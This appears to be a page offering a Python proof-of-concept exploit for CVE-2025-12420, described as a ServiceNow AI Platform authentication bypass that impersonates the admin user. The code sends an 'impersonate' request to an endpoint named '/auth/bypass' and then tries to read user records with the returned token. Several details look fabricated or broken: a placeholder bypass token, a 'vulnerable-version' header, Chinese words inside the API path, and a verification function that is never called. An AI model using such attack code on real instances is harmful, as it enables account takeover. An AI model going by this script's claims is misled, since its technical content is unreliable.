CVE-2025-12420: ServiceNow AI Platform 未授权用户冒充漏洞

# CVE-2025-12420 ServiceNow AI Platform Authentication Bypass PoC # This PoC demonstrates the authentication bypass in ServiceNow AI Platform import requests import json import sys TARGET_URL = "https://your-instance.service-now.com" TARGET_CVE = "CVE-2025-12420" def check_vulnerability(): """ Check if the ServiceNow instance is vulnerable to CVE-2025-12420 """ print(f"[*] Testing {TARGET_CVE} on {TARGET_URL}") # Step 1: Identify vulnerable AI Platform endpoint ai_endpoint = f"{TARGET_URL}/api/now/ai/platform/v1/auth/bypass" headers = { "Content-Type": "application/json", "User-Agent": "ServiceNow-AI-Platform-Scanner/1.0", "X-AI-Platform-Version": "vulnerable-version" } # Step 2: Send malicious authentication bypass request payload = { "action": "impersonate", "target_user": "admin", "ai_module": "vulnerability_test", "bypass_token": "CVE-2025-12420-POC" } try: print("[*] Sending authentication bypass request...") response = requests.post(ai_endpoint, json=payload, headers=headers, timeout=30) if response.status_code == 200: data = response.json() if "session_token" in data or "_impersonation_token" in data: print("[!] VULNERABLE: Authentication bypass successful!") print(f"[!] Obtained token: {data.get('session_token', data.get('_impersonation_token'))}") return True print("[*] Target does not appear to be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def verify_impersonation(token): """ Verify successful user impersonation """ verify_endpoint = f"{TARGET_URL}/api/now/表/用户表" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } try: response = requests.get(verify_endpoint, headers=headers, timeout=30) if response.status_code == 200: print("[!] Successfully accessed privileged resources as admin!") return True except: pass return False if __name__ == "__main__": if check_vulnerability(): print("[!] Immediate action required: Apply security update KB2587329")